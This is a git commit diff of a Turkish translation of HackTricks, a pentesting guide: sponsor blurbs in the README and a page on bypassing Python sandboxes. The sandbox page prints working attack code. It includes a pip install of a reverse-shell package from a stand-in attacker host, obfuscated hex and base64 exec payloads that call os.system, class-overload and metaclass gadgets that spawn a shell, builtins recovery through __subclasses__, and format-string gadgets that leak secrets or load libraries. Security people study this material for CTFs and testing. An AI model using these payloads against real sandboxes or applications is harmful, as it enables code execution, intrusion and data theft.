Translated ['README.md', 'generic-methodologies-and-resources/python/byp

This commit is contained in:
Translator 2024-11-09 13:57:37 +00:00
parent 61993d7c19
commit c7bca65026
31 changed files with 567 additions and 563 deletions

View file

@ -20,7 +20,7 @@ Başlamak için, bir veya daha fazla **makineyi pentest ederken** **takip etmeni
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com), sloganı **HACK THE UNHACKABLE** olan harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve **pentesting, Kırmızı takımlar ve eğitim** gibi birkaç değerli siber güvenlik hizmeti sunmak için kendi hacking araçlarını geliştirir.
[**STM Cyber**](https://www.stmcyber.com), sloganı **HACK THE UNHACKABLE** olan harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve **birçok değerli siber güvenlik hizmeti** sunmak için kendi hacking araçlarını geliştirir, bunlar arasında pentesting, Kırmızı takımlar ve eğitim bulunmaktadır.
**Bloglarını** [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresinde kontrol edebilirsiniz.
@ -32,7 +32,7 @@ Başlamak için, bir veya daha fazla **makineyi pentest ederken** **takip etmeni
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com), **İspanya'daki** en önemli siber güvenlik etkinliği ve **Avrupa'daki** en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
[**RootedCON**](https://www.rootedcon.com), **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
@ -44,7 +44,7 @@ Başlamak için, bir veya daha fazla **makineyi pentest ederken** **takip etmeni
**Intigriti**, **Avrupa'nın #1** etik hacking ve **bug bounty platformudur.**
**Bug bounty ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından, hackerlar için oluşturulmuş bir premium **bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
**Bug bounty ipucu**: **Intigriti**'ye **kaydolun**, hackerlar tarafından, hackerlar için oluşturulmuş bir premium **bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -81,7 +81,7 @@ Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**Hacke
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
@ -103,7 +103,7 @@ Diğer sağlayıcılardan farklı olarak, **SerpApi sadece organik sonuçları t
Mevcut SerpApi müşterileri arasında **Apple, Shopify ve GrubHub** bulunmaktadır.\
Daha fazla bilgi için [**bloglarına**](https://serpapi.com/blog/) göz atın veya [**oyun alanlarında**](https://serpapi.com/playground) bir örnek deneyin.\
**Buradan** [**ücretsiz bir hesap**](https://serpapi.com/users/sign\_up) oluşturabilirsiniz.**
**Buradan** [**ücretsiz bir hesap oluşturabilirsiniz**](https://serpapi.com/users/sign\_up)**.**
***
@ -113,11 +113,11 @@ Daha fazla bilgi için [**bloglarına**](https://serpapi.com/blog/) göz atın v
[**WebSec**](https://websec.nl), **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **dünyanın dört bir yanındaki** işletmeleri en son siber güvenlik tehditlerine karşı korumaya yardımcı olmak için **ofansif güvenlik hizmetleri** sunmaktadır.
WebSec, **her şeyi yapan** bir **hepsi bir arada güvenlik şirketidir**; Pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, İstismar Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve daha fazlasını yapar.
WebSec, pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, İstismar Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve daha fazlasını içeren **hepsi bir arada güvenlik şirketidir**.
WebSec hakkında başka bir harika şey, sektördeki ortalamadan farklı olarak WebSec'in **yeteneklerine çok güvenmesidir**, o kadar ki **en iyi kalite sonuçları garanti eder**, web sitelerinde "**Eğer hackleyemiyorsak, ödemiyorsunuz!**" ifadesi yer almaktadır. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
WebSec'in bir diğer ilginç yanı, sektördeki ortalamadan farklı olarak WebSec'in **yeteneklerine çok güvenmesidir**, o kadar ki **en iyi kalite sonuçları garanti eder**, web sitelerinde "**Eğer hackleyemiyorsak, ödemiyorsunuz!**" ifadesi yer almaktadır. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
Yukarıdakilere ek olarak WebSec, **HackTricks'in de kararlı bir destekçisidir.**
Yukarıdakilere ek olarak WebSec, **HackTricks'in kararlı bir destekçisidir.**
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
@ -142,7 +142,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src=".gitbook/assets/grte.png" al
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **bizi** Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerini paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details>

View file

@ -9,7 +9,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grt
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -17,12 +17,14 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grt
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Bunlar, python sandbox korumalarını atlatmak ve keyfi komutlar çalıştırmak için bazı ipuçlarıdır.
## Komut Çalıştırma Kütüphaneleri
@ -100,12 +102,12 @@ Eğer `pip` veya `pip.main()` erişiminiz varsa, rastgele bir paketi yükleyebil
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Paketi ters shell oluşturmak için buradan indirebilirsiniz. Lütfen, kullanmadan önce **sıkıştırmasınıın, `setup.py` dosyasını değiştirin ve ters shell için IP'nizi ekleyin**:
Paketi ters shell oluşturmak için buradan indirebilirsiniz. Lütfen, kullanmadan önce **sıkıştırmayı açmalı, `setup.py` dosyasını değiştirmeli ve ters shell için IP'nizi girmelisiniz**:
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
{% hint style="info" %}
Bu paket `Reverse` olarak adlandırılmıştır. Ancak, ters shell'den çıktığınızda kurulumun geri kalanının başarısız olması için özel olarak hazırlanmıştır, böylece çıktığınızda **sunucuda ekstra bir python paketi bırakmazsınız**.
Bu paket `Reverse` olarak adlandırılmıştır. Ancak, ters shell'den çıktığınızda kurulumun geri kalanının başarısız olması için özel olarak hazırlanmıştır, böylece **sunucuda ekstra bir python paketi bırakmazsınız**.
{% endhint %}
## Python kodunu Eval etmek
@ -114,7 +116,7 @@ Bu paket `Reverse` olarak adlandırılmıştır. Ancak, ters shell'den çıktı
exec'in çok satırlı dizeleri ve ";" karakterini desteklediğini, ancak eval'in desteklemediğini unutmayın (walrus operatörüne bakın).
{% endhint %}
Belirli karakterler yasaksa, kısıtlamayı **bypass** etmek için **hex/octal/B64** temsilini kullanabilirsiniz:
Belirli karakterler yasaksa, kısıtlamayı **bypass** etmek için **hex/oktal/B64** temsilini kullanabilirsiniz:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -135,7 +137,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
### Python kodunu değerlendirmeye izin veren diğer kütüphaneler
### Python kodunu eval etmeye izin veren diğer kütüphaneler
```python
#Pandas
import pandas as pd
@ -175,7 +177,7 @@ Aynı zamanda `raw_unicode_escape` ve `unicode_escape` gibi diğer kodlamaları
## Çağrılar olmadan Python yürütmesi
Eğer çağrılar yapmanıza **izin vermeyen** bir python hapishanesindeyseniz, yine de **rastgele fonksiyonlar, kod** ve **komutlar** yürütmenin bazı yolları vardır.
Eğer **çağrı yapmanıza izin vermeyen** bir python hapishanesindeyseniz, yine de **rastgele fonksiyonlar, kod** ve **komutlar** yürütmenin bazı yolları vardır.
### [Dekoratörler](https://docs.python.org/3/glossary.html#term-decorator) ile RCE
```python
@ -201,11 +203,11 @@ class _:pass
```
### RCE nesneleri oluşturma ve aşırı yükleme
Eğer bir **sınıf tanımlayabilir** ve o sınıfın bir **nesnesini oluşturabilirseniz**, **doğrudan çağırmaya gerek kalmadan** **tetiklenebilen** **farklı yöntemler yazabilir/üzerine yazabilirsiniz**.
Eğer bir **sınıf tanımlayabilir** ve o sınıfın bir **nesnesini oluşturabilirseniz**, **doğrudan çağırmaya gerek kalmadan** **tetiklenebilen** **farklı yöntemler yazabilir/ırı yükleyebilirsiniz**.
#### RCE özel sınıflarla
#### Özel sınıflarla RCE
Bazı **sınıf yöntemlerini** (_mevcut sınıf yöntemlerini aşarak veya yeni bir sınıf oluşturarak_) **doğrudan çağırmadan** **tetiklendiğinde** **rastgele kod çalıştıracak şekilde** değiştirebilirsiniz.
Bazı **sınıf yöntemlerini** (_mevcut sınıf yöntemlerini aşırı yükleyerek veya yeni bir sınıf oluşturarak_) **doğrudan çağırmadan** **tetiklendiğinde** **rastgele kod çalıştıracak şekilde** değiştirebilirsiniz.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -257,7 +259,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
```
#### [Metaclasslar](https://docs.python.org/3/reference/datamodel.html#metaclasses) ile nesneler oluşturma
Metaclassların bize sağladığı en önemli şey, **bir sınıfın örneğini doğrudan yapıcıyı çağırmadan oluşturmak** için hedef sınıfı metaclass olarak kullanarak yeni bir sınıf oluşturmaktır.
Metaclassların bize sağladığı en önemli şey, **bir sınıfın örneğini, yapıcıyı doğrudan çağırmadan** oluşturmak için hedef sınıfı metaclass olarak kullanarak yeni bir sınıf oluşturmaktır.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -274,7 +276,7 @@ Sub['import os; os.system("sh")']
```
#### Hata ile nesne oluşturma
Bir **hata tetiklendiğinde** bir **Exception** nesnesi **oluşturulur** ve doğrudan yapıcıyı çağırmanıza gerek kalmaz (bir [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) hilesi):
Bir **hata tetiklendiğinde**, **Exception** nesnesi **oluşturulur** ve doğrudan yapıcıyı çağırmanıza gerek kalmaz (bir [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) hilesi):
```python
class RCE(Exception):
def __init__(self):
@ -337,10 +339,10 @@ __builtins__.__dict__['__import__']("os").system("ls")
```
### No Builtins
`__builtins__` yoksa, hiçbir şeyi içe aktaramayacak ve dosyaları okuyup yazamayacaksınız çünkü **tüm global fonksiyonlar** (örneğin `open`, `import`, `print`...) **yüklenmemiştir**.\
Ancak, **varsayılan olarak python belleğe birçok modül yükler**. Bu modüller masum görünebilir, ancak bazıları **içlerinde tehlikeli** işlevsellikler de içermektedir ve bunlara erişilerek **keyfi kod yürütme** sağlanabilir.
`__builtins__` yoksa, hiçbir şeyi içe aktaramayacak ve hatta dosyaları okuyup yazamayacaksınız çünkü **tüm global fonksiyonlar** (örneğin `open`, `import`, `print`...) **yüklenmemiştir**.\
Ancak, **varsayılan olarak python birçok modülü belleğe yükler**. Bu modüller masum görünebilir, ancak bazıları **içlerinde tehlikeli** işlevsellikler de içermektedir ve bunlara erişilerek **keyfi kod yürütme** sağlanabilir.
Aşağıdaki örneklerde, bu "**masum**" modüllerin nasıl **istismar** edileceğini ve içlerindeki **tehlikeli** **işlevselliklere** nasıl **erişileceğini** gözlemleyebilirsiniz.
Aşağıdaki örneklerde, bu "**masum**" modüllerin bazılarını **istismar** ederek içlerindeki **tehlikeli** **işlevselliklere** nasıl **erişileceğini** gözlemleyebilirsiniz.
**Python2**
```python
@ -382,7 +384,7 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Aşağıda daha büyük bir fonksiyon var**](./#recursive-search-of-builtins-globals) yüzlerce **yer** bulmak için **builtins**'leri bulabilirsiniz.
[**Aşağıda daha büyük bir fonksiyon var**](./#recursive-search-of-builtins-globals) **builtins**'leri bulabileceğiniz onlarla/**yüzlerce** **yer** bulmak için.
#### Python2 ve Python3
```python
@ -426,7 +428,7 @@ class_obj.__init__.__globals__
```
[**Aşağıda daha büyük bir fonksiyon var**](./#recursive-search-of-builtins-globals) yüzlerce/**onlarca** **yer** bulmak için **globals**.
## Keyfi İcra Keşfi
## Keyfi İcraatı Keşfet
Burada, **daha tehlikeli işlevsellikleri** kolayca keşfetmeyi ve daha güvenilir istismarlar önermeyi açıklamak istiyorum.
@ -462,7 +464,7 @@ defined_func.__class__.__base__.__subclasses__()
```
### Tehlikeli kütüphaneleri bulma
Örneğin, **`sys`** kütüphanesi ile **rastgele kütüphaneleri içe aktarmanın** mümkün olduğunu bilerek, **içinde sys içe aktaran tüm yüklü modülleri** arayabilirsiniz:
Örneğin, **`sys`** kütüphanesi ile **rastgele kütüphaneleri içe aktarmanın** mümkün olduğunu bilerek, **içinde sys'i içe aktaran tüm yüklü modülleri** arayabilirsiniz:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
@ -506,7 +508,7 @@ Birçok var, ve **sadece birine** ihtiyacımız var komutları çalıştırmak i
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
Ayrıca, hangi modüllerin kötü niyetli kütüphaneleri yüklediğini de arayabiliriz:
Ayrıca, kötü niyetli kütüphaneleri yükleyen modülleri de arayabiliriz:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
@ -558,7 +560,7 @@ execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
```
## Yerleşiklerin, Global Değişkenlerin Rekürsif Araması...
## Yerleşiklerin, Global Değişkenlerin... Rekürsif Araması
{% hint style="warning" %}
Bu gerçekten **harika**. Eğer **globals, builtins, open veya benzeri bir nesne arıyorsanız** bu scripti kullanarak **o nesneyi bulabileceğiniz yerleri rekürsif olarak bulun.**
@ -708,14 +710,14 @@ get_name_for_avatar(st, people_obj = people)
```
Not edin ki **niteliklere** normal bir şekilde **nokta** ile `people_obj.__init__` ve **dict elemanına** **parantez** ile tırnaksız `__globals__[CONFIG]` erişebilirsiniz.
Ayrıca, bir nesnenin elemanlarını listelemek için `.__dict__` kullanabileceğinizi unutmayın `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Ayrıca, bir nesnenin elemanlarını listelemek için `.__dict__` kullanabileceğinizi unutmayın `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`.
Format dizelerinin bazı diğer ilginç özellikleri, belirtilen nesnede **`str`**, **`repr`** ve **`ascii`** **fonksiyonlarını** sırasıyla **`!s`**, **`!r`**, **`!a`** ekleyerek **çalıştırma** olanağıdır:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
Ayrıca, sınıflarda **yeni formatlayıcılar** kodlamak mümkündür:
Ayrıca, sınıflarda **yeni formatlayıcılar kodlamak** mümkündür:
```python
class HAL9000(object):
def __format__(self, format):
@ -736,7 +738,7 @@ Ayrıca, Python iç nesnelerinden hassas bilgileri **okuyacak** gadget'lar için
[python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
{% endcontent-ref %}
### Hassas Bilgi ığa Çıkarma Yükleri
### Hassas Bilgi Sızdırma Yükleri
```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
@ -758,9 +760,9 @@ str(x) # Out: clueless
Hatırlatma olarak, python'da her bir işlem gerçekleştirildiğinde bir fonksiyon çalıştırılır. Örneğin `2*3` **`(2).mul(3)`** veya **`{'a':'b'}['a']`** **`{'a':'b'}.__getitem__('a')`** olarak çalıştırılacaktır.
Buna benzer daha fazlasını [**Fonksiyon çağrısı olmadan Python yürütmesi**](./#python-execution-without-calls) bölümünde bulabilirsiniz.
Buna benzer daha fazlasını [**Python çağrısız yürütme**](./#python-execution-without-calls) bölümünde bulabilirsiniz.
Bir python format string zafiyeti, fonksiyon çalıştırılmasına izin vermez (parantez kullanılmasına izin vermez), bu nedenle `'{0.system("/bin/sh")}'.format(os)` gibi RCE elde etmek mümkün değildir.\
Bir python format string zafiyeti, fonksiyon çalıştırmaya izin vermez (parantez kullanmaya izin vermez), bu nedenle `'{0.system("/bin/sh")}'.format(os)` gibi RCE elde etmek mümkün değildir.\
Ancak, `[]` kullanmak mümkündür. Bu nedenle, yaygın bir python kütüphanesi **`__getitem__`** veya **`__getattr__`** metodu varsa ve bu metot rastgele kod çalıştırıyorsa, bunları kötüye kullanarak RCE elde etmek mümkündür.
Python'da böyle bir gadget ararken, yazı bu [**Github arama sorgusunu**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code) öneriyor. Burada bu [birini](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463) buldu:
@ -785,21 +787,21 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
Bu alet, **diskten bir kütüphane yüklemeye** olanak tanır. Bu nedenle, saldırıya uğrayan sunucuya doğru bir şekilde derlenmiş **kütüphaneyi yazmak veya yüklemek** gerekmektedir.
Bu cihaz, **diskten bir kütüphane yüklemeye** olanak tanır. Bu nedenle, saldırıya uğrayan sunucuya doğru bir şekilde derlenmiş **yüklemek için kütüphaneyi yazmak veya yüklemek** gerekmektedir.
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk.
## Python Nesnelerini İncelemek
## Dissecting Python Objects
{% hint style="info" %}
If you want to **learn** about **python bytecode** in depth read this **awesome** post about the topic: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %}
Bazı CTF'lerde, **bayrağın** bulunduğu **özel bir fonksiyonun** adı verilebilir ve onu çıkarmak için **fonksiyonun** **iç yapısını** görmeniz gerekebilir.
Bazı CTF'lerde, **bayrağın** bulunduğu **özel bir fonksiyonun** adı verilebilir ve onu çıkarmak için **fonksiyonun** **iç yapısını** incelemeniz gerekebilir.
İncelenecek fonksiyon:
Bu incelenecek fonksiyon:
```python
def get_flag(some_input):
var1=1
@ -810,7 +812,7 @@ return "THIS-IS-THE-FALG!"
else:
return "Nope"
```
#### dir
#### dizin
```python
dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
@ -920,7 +922,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
